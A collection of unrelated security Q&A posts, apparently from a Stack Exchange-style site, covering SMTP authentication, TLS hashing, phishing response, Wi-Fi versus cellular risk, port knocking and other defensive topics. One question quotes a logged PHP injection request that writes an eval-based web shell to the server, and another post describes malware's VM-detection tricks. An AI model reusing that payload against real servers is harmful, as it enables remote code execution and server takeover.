where I will get OTP which has time experation in order to verify payment.

I called my bank and they said that I should avoid

those web shops, who doesn't support that option.

So my question here is, is there any other option to protect myself,

or is it maybe more secure to use paypal instead my credit card?

There's nothing you can do. Because if it's actually you using the web site, then fraud is obviously not an issue. The 2FA only helps if someone else is using a web site pretending to be you, and so nothing that you do on web sites will make any difference. You can't stop a fraudster who has got hold of your card details from using them on a web site that doesn't use 2FA.


Block SMTP Connection That Doesn't Have Credentials I am able to do the following and connect successfully without any type of credentials:

telnet <IP Address> 25

When I am in I can verfiy emails, send emails, etc. I feel like this is a security risk. Is there a way of putting some type of protection in place to block direct access from happening like that? This has been tested externally and internally, both yield same results.

The search string you are looking for is "SMTP server require authentication" (or just "<server product name> authentication"). To be clear, what you're establishing isn't really a "Telnet Connection", it's an SMTP connection that you're typing in by hand using telnet. If you tried to send anything that wasn't valid SMTP traffic, the server would ignore it or disconnect. You could also use clients other than telnet - anything that supports arbitrary TCP connections would work - and the server has no way to know what program is being run as the client anyhow.

Mind you, even after you set your SMTP server to require authentication, you'll still be able to telnet to it. All that telnet is doing is establishing a TCP connection. There's nowhere in a TCP handshake to supply credentials; that comes after the connection is established (see https://en.wikipedia.org/wiki/SMTP_Authentication for more info).

You should also look into enabling TLS (the same Transport Layer Security protocol used in HTTPS) on your server. Even with authentication, sending mail via an insecure connection allows an attacker to potentially read or even modify the mail. Authenticating over an insecure connection potentially allows an attacker to steal your credentials, or at least replay them to authenticate as you at a later time, unless you use a protocol very specifically designed to be secure against that. Therefore, switching to TLS should be done before authentication.


How secure is MD5 for TLS message authentiaction? I was recently viewing a website and saw its certificate info as follows:

Given that MD5 is badly broken and not recommended for hashing, how good is it for use in TLS? And why?

In TLS, MD5 is used as the compression function for HMAC. The best current security proof for HMAC does not require its compression function to be collision-resistant, so HMAC-MD5 is still considered secure (if distasteful).

TLS 1.0 and RC4 are more disconcerting than MD5 in this case.


Is it safe to open ports 80 and 443 in a home network The intention behind this is that I'll be able to host a website from a home server (another pc with ECC ram etc.), but what worries me is that the network I'm using is also the same network which I use in my normal daily activities (my home network).

Before sending a request to my housing company to open those ports I want to make sure that it really is safe to open those ports as I do not have access to the "sharing center" nor its infrastructure (I do not know the correct term in English but it's the place where the internet is distributed(?) between tenants), although I do have my own router with its own firewall.

Currently:
Sharing center (closed, need to open a few ports) -> router (port forwarded) -> pc (open ports)

On a side note, I suppose you can host multiple different websites under different domains on the same port? (no need for explanation here, I can look that up)

Generally the best practice for this is to have a DMZ.  The DMZ is a subnet for any servers (like web servers) which will service requests from clients off your network.  In addition any databases or other devices/servers that are needed to provide services for the web servers should live in the DMZ (preferably each on their own VLANs).  These external facing servers sit behind a firewall (which only allows proper http or https traffic to go to your DMZ).  Additionally, if you are protecting sensitive information I would use a Web Application Firewall (WAF).  There are good free ones out there.  The WAF will inspect the http/https traffic and filter out a huge collection of known malicious http/https sql etc attacks common to web servers.

One major purpose of this design is to limit the damage in the (reasonably likely) event that somebody manages to compromise your web server.

note* The DMZ should not be able to initiate connections into your internal network.  You only want internal to DMZ traffic (not DMZ to internal).


How to store data on server without an ability to read it? Let's say, we develop a social network website, which allows to send personal messages between users. We don't want anyone (even us) to read these messages, except for message sender and receiver.

Is it possible?

So what you probably want is public private keys.

User A sends his own public key to User B, User B can then encrypt messages using Users A's public key.

User B then sends back the encrypted message to User A, user A has a private key which matches the public key, user A must always keep this PRIVATE. Using the private key user A can decrypt the message from User B. Once Encrypted user B would not be able to decrypt the message, the public key is used for encryption only.

what you are looking for has been used in many technologies, I use a similar method day to day with PGP.

obviously you would design your application to take this into account to handle all of the key generation and store them on the persons device (never store them on your server)

Another method would be to user a preshared key and another type of encryption like AES, this however would require the sender and receiver to know the same key. problematic if you only talk online.

preshared key would mean the user would need a key for every conversation, while a PPK (public and private) would mean that many people could have a users public key and the user hold securely on to that private key.


Spear Phishing attempt, how to respond? I'm a software developer for a software development company responsible for multiple products, and I typically handle our IT needs as we're quite a small company. We had a suspicious incident today which looks an awful lot like spear phishing and I just wanted to know what actions we should be taking.

Today someone has called our office and claimed to be from Stanford University, stating that they wanted to invite our company to an online seminar for the benefit of students. They mentioned three staff members by name and job title (including myself), and asked to confirm our physical mailing address. When asked if they could mail us something through the post, I said yes and confirmed our address when it was read to me.

Immediately after this I received an email with no subject line from a Gmail address through my work address asking for my "direct number" and nothing else. It was also written in comic sans if that's relevant (we found it pretty funny).

He then called back and started asking one of our staff members for email addresses of the other two staff members who he mentioned by name. That staff member asked me through Slack for the addresses. By this time I had seen the email and figured it was a phishing attempt, so I told him to hang up immediately. It's been about 15 minutes and he has not called back since.

Was I wrong in my assessment that it was a phishing attempt? Are there any steps we should take to prevent a breach, beyond making it clear to all staff members to not share information that could be used to gain access to a staff members accounts? All our documents and software are internally hosted, we are currently preparing multiple patents and it would be potentially catastrophic if say our competitors got a copy of our technical design docs.

Yes, there are a few guidelines:

1) Filter phishing mails at your company's mail server. This will already help a lot. Of course not so much against mentioned spear phishing where only few mails are sent to specific persons, but it might catch these as well.
2) If there is a phishing campaign, immediately counteract it by sending awareness mails.
3) Answer mails of questionable origin with attachments in a safe environment like Tails if you are not sure whether they might be authentic.
4) And most relevant for you: Don't give out internal mails randomly. If someone wants to contact some people inside of your company, he or she should just contact one person which then forwards the mail if necessary. There is a reason all companies have one single point of contact.

Phishing is done because it works and is hard to protect against. The safest way is to configure a mail server accordingly because that's the spot where all the mail traffic goes through, even the one intended for single persons. It is possible to analyze the incoming mails with simple scripts and alert people. For example a coworker in research and development is likely to have the same mail contacts again and again. Much similar to an Intrusion Detection System that works based on anomalies, an incoming mail from a stranger should be logged as a potential phishing attempt. This is, however, much harder to do for people working in customer service.


If we should encrypt the message rather than the method of transfer, why do we care about wifi security? Is this just security theatre? Most answers to this question about the security of satellite internet boil down to: encrypting the message is more important than encrypting the method of transfer.

However, there seems to be a lot of focus on wi-fi security.

For what threat models is wi-fi security important, and for what threat models is it just security theatre?

Preventing others from using my wi-fi?  This could probably be done (more securely?) by explicitly authorising each device on the router.  Back in the day (early 2000s), I had to tell my university the MAC address for each device I wanted to use the internet with, although this was for wired internet (there was no campus-wide wifi yet).
Preventing others from sniffing on my wi-fi?  But we should rather encrypt on a higher layer (such as HTTPS)?
Are there other relevant threat models here?

Network encryption protects against different set of threats than application layer encryption like TLS.

In particular, network encryption like Wifi encryption are primarily designed to protect from a local attacker from being able to watch network patterns (by recording who you're making connections with, and discovering what devices are on the local network), observing/tampering of low level messages like ARP/DNS, and protecting network broadcasts from devices that aren't supposed to be in the network, and from tampering or selective interference.

TLS doesn't protect the low level TCP/IP packets, which leaks information like the IP address of the machine you're connecting with, and the TLS handshake also by design leaks a number of information about the connection like Server Name Indication (SNI) header.

The side effect of needing to do all this is that Wifi hardware already need to have enough code and processing power to handle encryption, so it becomes easier to just encrypt all wifi packets rather than selectively figuring out what needs protection or not. This come also with the side benefit that unsecured HTTP connection will still be at least marginally protected, even if at least to protect users of the infrastructure from each other, but not from the infrastructure provider.

Network encryption is designed to protect the network, not the service. Application encryption is designed to protect the connection to the service, but it doesn't protect the network. They complement each other, but neither completely makes the other unnecessary.


Execution of PHP function's through HTTP GET request by hacker We are continuously receiving following requests on our apache server from the hackers

?1=@ini_set(%22display_errors%22,%220%22);@set_time_limit(0);
@set_magic_quotes_runtime(0);echo%20'-%3E%7C';file_put_contents(dirname($_SERVER%5B'SCRIPT_FILENAME'%5D).'/cache/cachee.php','%3C?php%20eval($_POST%5Bshine%5D);?%3E');echo%20'%7C%3C-'; HTTP/1.1 200 42673

Please help us to let me know which kind of hacking attempt is this?
there are no cache.php on the server still the hacker is getting 200 HTTP Response.

there are around 200 requests like this. is this attack will cause severe security threat on the server?

It would be great if anyone explains to me the meaning of PHP function used in above request.

This is trying to reset some of the PHP init functions. Mainly activating on screen errors, turning off magic quotes (helps with SQLI), and writing a file.

They are getting a 200 resp as this is just a query string, i.e this could be any url with this query appended.

It will most likely just be a scanner looking for vulnerabilities. You could take action to block there IP, User agent etc.


How to trust a CA to sign a CRL but not a cert? In my application, there are many parties that are trusted to revoke a cert (ie by signing a CRL), but are not trusted to sign (new) certs.

How do I mark a CA to be trusted only for CRLs, and not for certs? Is there a way of marking the CA's cert for this?

How well will applications support this? My intended applications are openssl and strongswan.

If the entity is supposed to sign CRL but not certificates, then it is not a CA -- it is a CRL issuer. It is often called an indirect CRL issuer because, by definition, it is distinct from the CA that issued the certificates whose revocation status is specified by the CRL.

A certificate may be validated as a CA only if (among other things) it has a Basic Constraints extension that contains a cA flag of value TRUE. If you do not want your CRL issuer certificate to be mistaken as a CA certificate, simply make sure that it does not contain the Basic Constraints extension, or, if it contains such an extension, that the cA flag has value FALSE.

To make the certificate acceptable as a CRL issuer, you may have some other things to do:

If there is a Key Usage extension, the cRLSign flag shall be set.
The CRL should include an Issuing Distribution Point extension with the indirectCRL flag set to TRUE.
The CRL issuer name and IDP extension contents shall match those of the CRL Distribution Points extension in the certificates whose status is to be asserted through the CRL. The rules are intricate.

Be warned that indirect CRL are poorly supported. In particular, since the CRL issuer's certificates is not a CA, it is not part of the main certificate chain. As such, it won't be included in, for instance, the sets of certificates sent by SSL clients and servers. Therefore, the indirect CRL will be usable only by systems that are ready to download extra certificates, or have such certificates made available to them through some other method.


Doesn't the choice of encryption algorithm add entropy by itself? Let's say someone has my encrypted data and he wants to decrypt it. People always talk about how the length of the key (e.g. 256 bits) decides about the entropy of the encryption, which totally makes sense. If the attacker tries all 2256 possibilities, his great-great-…-grand-children will have my data.

But what if all the years he was using the wrong algorithm? Isn't the choice of the algorithm itself adding entropy as well or am I wrong to assume this? So instead of naming my file super_secret.aes256 I would just name it super_secret.rsa256 or maybe even not give it a file ending at all?

If you’re designing a cryptosystem, the answer is No. Kerckhoffs's principle states “A cryptosystem should be secure even if everything about the system, except the key, is public knowledge.” Restated as Shannon's maxim, that means “one ought to design systems under the assumption that the enemy will immediately gain full familiarity with them.”

Making the assumption that the attacker won’t learn your algorithm is security through obscurity, an approach to security that is considered inadequate.

Relying on the attacker to not know the algorithm won’t add any work on his or her end, because according to Kerckhoff, he or she either knows it, or can be reasonably expected to find out. If it adds no uncertainty it adds no entropy. And their capabilities are not something you can quantify.

In the case of a lost cryptosystem, like you describe, there is usually enough historic or statistical information to determine the nature of the algorithm (if not the key itself.) But you can’t design a system under the assumption that it will be lost as soon as it’s used. That’s OpSec, not cryptography.

EDIT Comments have mentioned using algorithm selection as a part of the key. The problem with this approach is that the algorithm selection must necessarily be determined prior to the decryption of the data. This is exactly how protocols such as TLS work today.

If you’re truly looking to mix algorithms together and use a factor of the key to determine things like S-box selection, etc., you’re effectively creating a singular new algorithm (adopting all the well-known risks that rolling your own algorithm entails.) And if you’ve created a new algorithm, then all of the bits of the key are part of that entropy computation. But if you can point out specific bits that determine algorithm instead of key material, you still have to treat them as protocol bits and exclude them.

Regarding secrecy of the algorithms, your protocol may be secret today but if one of your agents is discovered and his system is copied, even if no keys are compromised the old messages are no longer using secret algorithms. Any “entropy” you may have ascribed to them is lost, and you may not even know it.


What's a good way to trigger a hidden 'distress signal' in instant messaging? Here's the scenario:

Alice and bob use Off-the-record messaging to communicate over IM. The have:

Encryption
Authentication
Deniability
Perfect forward secrecy

They communicate after authenticating, being reasonably sure of each others identity. Now a rogue party breaks into Alice's house.

Alice knows that they might want to coerce her into sending messages, or she just want to send a distress signal. Typing "Help!" won't do much good, as the attackers will realise the outside world knows of her distress.

You could imagine she might type a previously negotiated distress message ("and the flowers were lovely too"), which causes the Bob's client to pop open a message:

Alice is in distress - do not trust the following messages until you have authenticated her identity again. She is being coerced into sending them.

But the intruders might force her away from the computer too quickly. They might also dictate messages to her, removing her capability to type the flowers-sentence.

In this scenario, what is a good way to trigger a distress signal?

Some problems we have found while chatting about it:

The coercers mustn't be able to detect that Alice is sending a distress signal. Neither by looking at her, nor by analysing network traffic. This prevents even complicated schemes, like "having all letters of the alphabet used within one minute" (also a violation of the Kerckhoffs Principle).
The signal must be designed such that it is hard to trigger by accident, since a false distress signal forces (annoying and potentially flawed) trust re-negotiation measures. And it should be a protocol that's easy to use.

Assumptions:

The protocol used to send messages between Alice and Bob is a well known protocol.
The adversary is physically present with Alice.
The adversary will allow Alice to send a message unless s/he thinks Alice is sending a distress signal.
Alice will always be allowed to send the first message.
The adversary will monitor the messages on the channel.
Alice will only be allowed to send a few messages.
The adversary dictates the content of the messages Alice sends, but not their format.
The adversary will allow Alice to receive all remote messages.
The adversary does not know the transmission latency between Alice and Bob.
The channel is reliable.

I believe your list of requirements is too constraining to come up with a sensible scheme, however it may be possible to come up with something if you relax your criteria a bit.

Without specifying its form, Alice must signal to Bob. That signal toggles the status of Alice's distress from the default status to the opposite status. If the default status is Alice is not in distress and the signal toggles distress, then the adversary can always beat the system by simply dropping all communication (i.e., cutting the internet line before breaking in).

Conversely, as @Karrax considers, the default must be that Alice is in distress and the signal toggles her not being in distress until it times out, by which time Alice must signal again to preserve her non-distress status. There are two issues: the nature of the signal and the length of the timeout period.

There are a lot of ways of implementing the signal such that Kerckhoffs' principle law applies. One example would be a panic password. Note that it does not suffice to have two passwords (or keys or tokens, etc), one real and one panic, as an adversary who knows the system could do the following: tell Alice he knows she has two passwords, ask her to write them both down, flip a coin to choose which to use, and get away with the attack 50% of the time. More complicated schemes get around this: see the paper (self-promotion, I know: sorry).

Another far-out way of implementing the signal might be using Alice's skin conductance as a measure of how nervous she is. A proposal like this was at Usenix Security last year.

The more tricky point is the timeout. If the timeout is too long, then the adversary may break in and be done by the time the last signal times out. If it is too short, you have a huge usability problem. In fact, I would argue that you have a usability problem no matter what with this approach.

For this reason, I don't believe that it is possible to solve the exact problem you'd like.

One way to relax the problem would be that Alice can reliably transmit (without modification) one message under the adversary's passive watch (remember if he is active, he can block all messages). In this case, the default can be that Alice is not under distress and Alice would simply use some pre-established mechanism (such as a distress word) with Bob. In this case, the problem is essentially steganography and since Alice needs to encode the signal using human computations only (i.e., cognitive coercion-resistance), you will never be able to prove that the scheme is secure. You can only rely on it seeming reasonable.


My server is being DDoS'ed with 13 gbit and my provider nulled my ip, taking down my server - what can i do Possible Duplicate:
  How can a Software application defend against DoS or DDoS?
  Accessing a site (which is) under a DDoS

Null-routed IP
85.17.154.139   8/5/12  In progress     13Gb ddos

They did not provide me any more data so far. What I can do in order to prevent further attacks? Actually right now I am clueless and still not able to reach my server. Waiting for them to give me another IP

With rare exception when it comes to a ddos there isn't much that can be done from the attacked computer / network. Once the connection attempt has made it to anything you control the attack has already done its damage. You basically need to wait on your ISP to handle the problem and provide them with whatever assistance they ask for.

EDIT: As pointed out in the duplicate question this only applies to level 4 style DDOS attacks. There are a few options to shorten response windows which can help with level 7 attacks.


Active Directory DNS server security misconfiguration or an acceptable practice? I work for a large Eastern European bank as a programmer.

Recently, I was setting up a documentation website for my team. We came up with the host name, and now all we needed was to pick the best suitable zone for it and send a request to IT support team to create a new DNS record.

So, I fired up PowerShell and loaded DnsServer module to list available DNS zones (I was unaware at the time, that ordinary users, generally, can not enumerate anything on AD DNS server. Access SHOULD be denied by default).

The Get-DnsServerZone cmdlet promptly listed all available zones. I've picked one, and to make sure there were no similar host names in this zone, ran Get-DnsServerResourceRecord command too. Everything worked fine.

While I was at it, out of curiosity, I decided to explore "Add-*" commands too: Add-DnsServerResourceRecordA, Add-DnsServerResourceRecordCName etc. I did not expect these to work at all, but, to my great surprise, cmdlets did not throw errors - they completed successfully!!!

I've verified created records using Get-DnsServerResourceRecord and nslookup. Also ran same commands using non-privileged technical user account (which belongs only to DOMAIN\Users group and nothing else) and got same result: DNS records were added successfully. Looks like any authenticated user can create DNS records. This does not feel right.

The Question:

Is this an acceptable practice or a security misconfiguration? Should I report it?

(I have not reported it yet, because of lots of beaurocracy involved. Also I dont want to attract unneeded attention. We have quite unhealthy culture and broken communication here - this is a bank, after all).

This should definitely be reported to your CSO and/or his/her team.

Besides you being able to add DNS records, chances are good, that you can execute other commands as well to manipulate the DNS configuration. From my experience it is better to report findings like this fast.

If the network administrators in charge notice the alterations that you have made, they will most likely be able to trace them back to you. If you have not reported this incident to them by then (or even in a timeframe that acceptably small), this will put you in a far worse light than reporting the issue in the first place.


Verify that the leaves of a tree was created by a parent node? I am looking for something like hash tree in a sense that leaves node can be verified to be part of the tree but the tree has to be able to built top down (from top node to leaves).

I'm not sure exactly what I am looking for, but here's the application:

Suppose there are users of a certain type of data storage.
User can create new data and edit or remove any data they created.
User can also create user accounts and also manipulate data of all users created by them (unlimited levels of user).

When a user creates something in the data storage I plan to store something along with the file created so I can verify which user can modify which file and I want to do it with fixed length metadata and with fixed or at least faster than linear verification time (compared to maximum levels of user).

Is this possible? How? Is there any other existing solutions for this application?

Well, I think your question is more related to data structure and algorithm design. I would suggest that you move it to stack overflow

However, if I understood your question correctly you are trying to build an access control list using a tree data structure which really a nice idea :). If that what you are looking for then Yes it is possible and I suggest reading the paper An Access Control Model for Tree Data Structures


Why cant i run malware in my Virtual Environment Im trying to run some malware samples in my Virtual lab to capture their IOC's. Im doing this for my Masters Thesis but i can not seem to get the malware to run.

I have downloaded samples from hybrid analysis. if i try and run the malware using run32dll <sample>,#1 i get nothing start.

Im running a petya malware sample downloaded from hybrid-analysis.com

rundll32.exe C:\027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745.bin.dll",#1"

If I look at the sample in PE Explorer i get told it's not a valid exe or DLL.

Anyone have any experience executing malware that can assist a newbie in this?

I'm more of an Infrastructure and OS guy. I would have thought running the would have been easy.

I have attached my lab design on the post.
The Host Machine is an Ubuntu box  with 32 GB ram and a bunch of processors
The Lab is a VirtualBox environment.
The Home network is the way to the internet Virtual Lab -> Host System -> Internet Gateway

Any help in the resolution of my problem gratefully received.

I saw a report on this a while ago, many ransomewares will try too detect if they're in a VM or lab environment and will refuse too run, basically as a defense mechanism for exactly what you're doing.

Depending on the family of malware there are tests in the code that check for things like the visualization environment (Are we running on Xen? OOOH! Juicy Target!/Are we running on VMware/VBox? Uh-Oh, might be a Lab! ABORT!), File structure (Not much here? ABORT! Oldest file is from last week? Hmm... ABORT!) too things such as multiple subnets (Traffic is routing through 192.168.1.1 but my gateway is 10.0.2.1? ABORT!) even things like screen resolution can be tested against (800x600 Res? ABORT!)!

In short, as researcher get smarter about how they test malware, the authors of said malware adapt to defeat those efforts!


Standard ways that sites use Base64 hash/checksum for security/authorization I saw a few website APIs that use a checksum as a GET parameter.

For example:
http://api.test.com/get/?people=fathers&view=all&hash={28 character Base64-like string}.

The hash relies on all of the GET parameters, changing any of them or adding into them would alter the hash.

I was wondering what kind of hashing do such websites use. I tried decoding the Base64 and I got some gibberish text with weird characters I've never seen before.

They probably do use Base64 because if I supply an invalid Base64 hash then it throws a Base64 error.

But, why when I decode it, gibberish characters come out? Do I have to further decode those characters?

Most likely the checksum is just that - a check to make sure that none of the parameters changed in transit.  The simplest way to do something like that is with a SHA256 (or even) MD5 hash of the URL parameters.  For something like this, even MD5 can be a reasonable choice for hashing algorithm (we're not talking passwords here).  A hashing algorithm is used because if you change a single character you change the output hash, and (even with MD5) it can be difficult to find another set of inputs that will match the given output.

With a hash function you will absolutely get gibberish if you base64 decode the results.  The hash function is effectively generating "random" bits of data, so there is a small chance of generating ASCII characters with the raw binary data itself.  Instead you get gibberish.  That's okay though, because the exact value of the hash doesn't matter - just that whoever takes the GET data on the other end and hashes it gets exactly the same hash as what was passed along in the request.

I'm not sure off the top of my head what hash function would generate a 28 character string when base64 encoded (MD5 generates 22 or 24 character strings).  It could be a custom hash.  It could be something else all together, but best guess is it is just the output of some kind of hashing algorithm.


How can I delete Telegram messages from their server? Since I heard that Telegram stores all the chats including messages, pictures, audio & video material on their servers (cloud) I would like to know how can I delete all of my chats from my phone and also from their servers?

See the FAQ: telegram.org/faq

Q: How do I delete my account?
If you would like to delete your account, you can do this on the deactivation page. Deleting your account permanently removes all your messages and contacts. All groups and channels that you've created are orphaned and left without a creator but admins retain their rights.
Q: What happens if I delete my account?
As was just mentioned above, all your data will be flushed from our system: all messages, groups, and contacts associated with your account will be deleted. That said, your contacts will still be able to chat in the groups that you have created, and they will still have their copy of the messages you sent them. So if you want to send messages that can vanish without a trace, try using our self-destruct timer instead.
Termination of a Telegram account is irreversible. If you sign up again, you will appear as a new user and will not get your history, contacts or groups back. People, who have your phone number in their contacts, will be notified. The new user will be displayed as a separate conversation in their messages list and their conversation history with this new user will be empty.

(Emphasis mine)
From the privacy policy:

Everything you delete is deleted forever.


Different strategies for online anonymity and their +/-s? I saw this question about anonymous web browser, but I wanted to go a little bit more in depth.  I prefer answers that take into account how a connection would be traced back, time it would take to trace back (ie: complexity factor), speed loss due to methods of anonymity, and cost-effectiveness of the various solutions.  So, with those factors taken into account:

What different strategies can one take to become anonymous online, and what are the benefits/drawbacks of each?

In addition, is there a way for one to access an internet site from their home computer and completely prevent that access from being traced back to them (eg vpn, proxy, etc)?

Strategies to stay anonymous online:

Use Tor.  I highly recommend using Tor and Torbutton (Tor kindly provides integrated distributions of all the software you need to use Tor).  Tor protects your anonymity while browsing the web and helps prevent the end site from learning your IP address.  See the Tor web site for more.

You might want to use one of the distributions that provides Tor on a LiveCD; every time you need to go online, boot from the LiveCD and use the Internet.  Using a LiveCD helps ensure that nothing is stored permanently on your computer, thus better preserving your anonymity in case your computer should be seized or inspected by the enemy.  Using your browser's private browsing feature also provides similar benefits (it does not hide your identity from web sites, but it reduces the amount of information stored on your computer).  Using a LiveCD is probably more reliable; for best protection, use both measures.

Do note that Tor only protects your web browsing, not your other use of the Internet.  For instance, it doesn't protect your anonymity while you read email.
Alternatively, use a VPN.  Alternatively, you could buy private VPN access from a reputable third-party source who will protect your anonymity.  This way, your Internet access is routed through the third party.  However, this is more dangerous, because the third party still knows your identity and is able to reveal it if they choose or if they are required to by law.

If you use a VPN, select one that is in a different jurisdiction and that you judge is unlikely to reveal your identity.
Never enter your real information online. Perhaps this is obvious, but don't enter in anything that may reveal your identity online.  If asked for your personal details when signing up for a web site, lie.
Take extra caution with email. Somewhat different strategies are needed to use email securely.  Using Tor and a webmail provider may be sufficient to read email with a reasonable degree of anonymity, if all you want to do is receive email and read it over the web.  However, if you want to send email, that's may not be enough.  One option is to look into use of anonymous remailers.
Take extra caution if you register a domain name. If you want to set up a site of your own, you might be tempted to register your own domain.  Be careful.  Domain name registrars collect a lot of information, and reveal a lot of information in WHOIS records.  If you register a domain name, register it anonymous.

The above methods may be enough to provide a reasonable degree of anonymity.  However, if your life depends upon staying anonymous, I'm not sure they are strong enough to rely upon, so be cautious.

Additional resources: EFF's tutorial for defending yourself online in authoritarian regimes.


How to detect malware in images Do commercial AV suites examine image files (pictures) for potential malware that might be imbedded via  steganography?  Is this a concern for most?
I deal with a lot of imagery data and am wondering what the risk of exposure is.

Executable code embedded in an image, malware or otherwise, does nothing without an external program capable of acting on it. Granted there have been a few cases in the past exploiting errors in the image processor code to force an overflow into the embedded malware code, but with rare exception, steg content is not a direct threat.
A common practice amongst high security sites is to translate all arriving images to a different format such as JPG to PNG in an isolated handler. You can do this a well if you like, but the threat is miniscule.


What is more safe: 3g/4g or public wifi? The scenario is: John is out of home and, using his smartphone, he need to send some messages from Whatsapp, use Facebook's app and do some bank operations.

Since I have read this and this topics, I'm thinking about what is the safer option between 3g/4g (imsi-catcher threat) and public wifi (sniffers threat).

If John have both options, which one should he choose, and why? And what precautions should he have (tools are permited, but without root)? Consider John as a non-technical user.

If John have both options, which one should he choose, and why?

This depends on your threat model. Modern public hotspots do not use encryption or authentication whatsoever, allowing absolutely anyone with basic consumer hardware to sniff and modify unencrypted traffic. Cellular networks, on the other hand, do use encryption and at least a certain level of mutual authentication. Attacking it requires specialized hardware and often specialized cryptographic knowledge. While it may be possible to break 3G and 4G encryption, it's going to be far harder than just setting up Wireshark on a public network, which can be done on pretty much any laptop.

However, cellular networks are also very long-range, meaning that the data, potentially encrypted only weakly, is traveling very long distances. Compare this to Wi-Fi where the effective distance is quite limited. In fact, due to latency requirements in the protocol, there is a hard limit for active connections enforced by the speed of light. Passive monitoring must also be done locally due to the relatively low-power wireless transmissions made by Wi-Fi routers and computer wireless cards.

Overall, if your adversary, positioned on the airwaves with a transmitter and receiver with the intent of monitoring your wireless traffic, is local and unsophisticated, then Wi-Fi is dangerous. If your adversary is remote and sophisticated, then cellular networks are more dangerous. Note that WPA3, an upcoming encryption feature for Wi-Fi, will allow public networks to provide encryption even without a password.

  And what precautions should he have (tools are permited)?

Use of a VPN to a trusted endpoint will protect from any relevant wireless attacks. A VPN creates an encrypted tunnel between you and a server, and that server connects to the websites you visit on your behalf. While VPNs are often advertised (incorrectly) as anonymity tools, they are actually only useful in this scenario for encryption. A VPN will ensure that an attacker who is able to monitor your wireless traffic will not see what sites you visit or the data you send to or receive from said sites. If you do not wish to pay for a commercial VPN or configure one yourself, Tor is a free alternative.

Assuming it's not possible to use any kind of encrypted tunnel, the next best thing is to only connect to websites that use TLS (HTTPS sites). Someone monitoring your wireless traffic will be able to see the website you connect to, but not what page on that website you are visiting, nor what you upload.

  is there some sort of infection that spread by just being in the same network of a infected device?

It is possible in theory, and vulnerabilities in Wi-Fi chips have been found that allow for remote arbitrary code execution, but they are unlikely to be used as an infection vector for a worm. It is more likely to be used by a sophisticated attacker targeting one or a few specific individuals. If the Wi-Fi chip itself is compromised, it can often (but not always) compromise the computer's operating system. This can be partially mitigated by enabling an IOMMU. I believe Windows does this by default, to a limited extent. On Linux with an Intel CPU, you can enable this by adding intel_iommu=on to your boot parameters.


Strict-transport-security Mixed Content - same domain? I'm researching the HTTPS-strict-transport-security protocol (HSTS), and am writing a plugin for Firefox to highlight some of the issues with the protocol. One of the things that I'm looking at is mixed content.
If the site is using HSTS, and the page contains a link to another page on the same site but over HTTP (a mixed content link), then surly this isn't an issue, as the site when retrieving the content will do so over HTTPS, and not HTTP?
Clarification would be good!

Only if the mixed content is on the same domain.

If the HSTS policy is on https://example.com and this loads an image from http://example.org then mixed content will show.

If however, the plain HTTP image is loaded from http://example.com then the browser will upgrade the HTTP connection to HTTPS so there will not be mixed content on the page.


Why should we focus on protecting root access on a home computer? I understand why root access should be protected in general, especially in the context of a server environment. An unknown party can essentially control everything you do on a computer remotely without you even realising and that is obviously a huge issue. However, isn't it possible to do very bad things without root access, coming from the point of view of a personal computer (i.e: not a server)?

Usually, all of your important information is in your /home/ directory, so any application that runs under your user has access to it. As well, if they have access to your /home/, they have access to your personal bin/ directory, where they can put their own special binary if they so choose. Even if that is easy to find, they could hide their tracks by sticking a often-used binary that requires root access in there that simultaneously takes your password, does the thing you want to do with it, then do something nasty in the background, then delete that same binary once it is done?

Perhaps I am missing something obvious, but is root access really that necessary for a would-be hacker to mess with someone's personal computer? Shouldn't we be more concerned with any code we run no matter what level of authorisation we give it?

Protecting the root account makes cleanup much easier: if an attacker can't tamper with the kernel or most of the programs, it's much harder to hide malicious code.

It also means they can't tamper with the antivirus and other protection systems.


CVE-2015-4852: Infected traffic pattern Assuming that my Weblogic server is compromised by this vulnerability, what would the traffic pattern look like?

I'm assuming I would see HTTP requests attempting to make connections directly from WebLogic back to the Internet. Could someone provide insight? It is possible that I would see t3 traffic? I don't think an exploited server would attempt to communicate back out using t3.

For this CVE, you should see T3 traffic which would contain embedded serialized objects. See the poc for more.


Is the iptables + DROP based implementation of port knocking vulnerable? I found an implementation of port knocking described in an article: https://www.digitalocean.com/community/tutorials/how-to-configure-port-knocking-using-only-iptables-on-an-ubuntu-vps

I checked what iptables DROP actually means and now I am very confused: https://serverfault.com/questions/157375/reject-vs-drop-when-using-iptables

  When using DROP rules: - UDP packets will be dropped and the behavior
  will be the same as connecting to an unfirewalled port with no
  service. - TCP packets will return an ACK/RST which is the same
  response that an open port with no service on it will respond with.
  Some routers will respond with and ACK/RST on behalf of servers which
  are down.

In my book this means that the response for DROP will be different than for a closed port. And if they can be distinguished from each other, then the members of the knocking sequence can be found. If somebody knows the members of the sequence, then it takes several magnitude less trials to crack this kind of defense, which means it can be brute forced very easily.

Am I right that this implementation of port knocking is vulnerable?

As a matter of fact, there is no response in DROP. But yes, it is different as the OS will send back an icmp reply for a closed port indeed.

About the safety of the code, it simply drops all other ports as well, so it seems safe enough:

sudo iptables -A GATE1 -j DROP


what format is bouncycastle opengpg public key? I'm using bouncycastle to access my public keys in gpg. Currently the public key, when read to base64 gives me this:

    mQENBFh1kBcBCADMUkNW2qFgeRnornjhT3lt73wTGcO9rt+Ktr1tcopmOPTfNq3
    feZNFHRUsBt0Nnuj9+vSD2cwFRoZDNulhnBD8lAJYOD427uvV+KBDF/5pCQKh2S
    mDK8tJI/ncLIlX4SFa8F9f36FySglpkzA59IFtHdUBz9w+PJRqUQ5MVRzNHYBbv
    6aeIWwl46KrL3eibRgBDVuEOKAoesdb+xErs9cqg3KSVi01XBgr+XMSgOBz4J3f
    J4HdibsJdz1+113aKT++4LUSuuyeVbw3K/ZgMkrsyeJw84sHhF2kDu61atSUsQE
    nJwBF2sPA9V/i28fftxodgg5qbEs8egdsw/wxGzsfABEBAAG0K0NocmlzIFpoZW
    5nIChjemhlbmcpIDxjemhlbmdAYXRsYXNzaWFuLmNvbT6JATkEEwEIACMFAlh1k
    BcCGwMHCwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRARY82BslwTrMvtB/4t
    LoRH91p09vM1sSQ77RC+XwQqhhvN1BAeqGxqZpgCO6Ld5KRh8f4mFY8nXjDCSyy
    ydTBzIUp6aG0f+2EBhArtk/oU/pi8D4zHoeBkrl23/234s1kBI5F2g2kd6itwP8
    ekimaUyNFdPIN1dPwdxhuspOUtFNR+HsT3BT32v4Afd7sWVNTFrkapxTdxxZkVb
